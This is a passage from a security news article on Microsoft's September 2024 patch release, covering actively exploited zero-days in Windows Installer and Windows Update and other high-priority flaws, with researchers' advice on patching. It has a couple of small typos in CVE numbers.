The two other bugs in Microsoft's latest update that attackers are already actively exploiting are CVE-2024-38014 and CVE-2024-43491. CVE-2024-38014 is an elevation of privilege vulnerability in Windows Installer that attackers can use to gain system-level privileges. As with the other zero-days, Microsoft's advisory offered no details on the exploit activity targeting the bug or when it might have started. Despite the ongoing attacks targeting CVE-2024-38014, Microsoft assessed the flaw as only moderately severe (7.8 on 10 on the CVSS scale) because an attacker would already need to have compromised an affected system to exploit the vulnerability.

CVE-2024-43491, meanwhile, is a high-severity (CVSS score 8.5) RCE in Microsoft Windows Update. The vulnerability rolls back fixes that Microsoft issued in March for certain versions of Windows 10. According to Microsoft, the vulnerability gives attackers a way to exploit vulnerabilities that Microsoft previously mitigated in Windows 10, version 1507, between March and August. "Customers need to install both the servicing stack update (KB5043936) AND security update (KB5043083), released on September 10, 2024, to be fully protected from the vulnerabilities that this CVE rolled back," Microsoft said.

Kev Breen, senior director of threat research at Immersive Lab, advocated that administrators pay close attention to Microsoft's Official Notes for CVE-2024-43491. "There are a lot of caveats to this one," Breen said in emailed comments. "The short version is that some versions of Windows 10 with optional components enabled was left in a vulnerable state," since March.

This is the second month in a row where Microsoft has given administrators multiple zero-days to contend with. In August, the company disclosed six of them — equal to the total for the entire year up to that point.

**Other High-Priority Bugs**

Other bugs of note in the latest update according to security researchers include CVE-2024-43461, a Windows spoofing vulnerability; CVE-2024-38018, a Microsoft SharePoint Server RCE; and CVE-2024-38241 and CVE-2024-38242, two elevation-of-privilege vulnerabilities in Kernel Streaming Service Driver.

CVE-2024-43461 affects all supported versions of Microsoft Windows. It is similar to CVE-2024-38112, a zero-day bug that Microsoft patched in July after at least two threat groups had been exploiting it for 18 months. Attackers could leverage the exploits for CVE-2024-38112 in attacks against the new CVE-2024-43416, according to Saeed Abbasi, manager of vulnerability research at Qualys. "There exists a high likelihood of exploitation, as this vulnerability enables attackers to spoof legitimate web content, leading to unauthorized actions such as phishing and data theft," Abbasi said in emailed comments.

Organizations need to prioritize patching the Microsoft SharePoint Server RCE vulnerability (CVE-2024-38018) because no mitigations or workarounds are available for it, said Tom Bowyer, director IT security of Automox, in emailed comments. "The potential impact of this CVE is significant, especially given the business-critical nature SharePoint servers play in organizations that utilize them," and the ease of exploitation.

Ben McCarthy, lead cybersecurity engineer at Immersive Labs, identified the Kernel Streaming Service Driver flaws (CVE-2024-38241 and CE-2024-38242) as important to address because they are present at the kernel level and give attackers a way to bypass security controls, escalate privileges, execute arbitrary code, and take over the whole system.

So far this year, Microsoft has disclosed a total of 745 vulnerabilities across its products, according to numbers maintained by Automox. Microsoft has identified just 33 of them as critical.

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Tag

#windows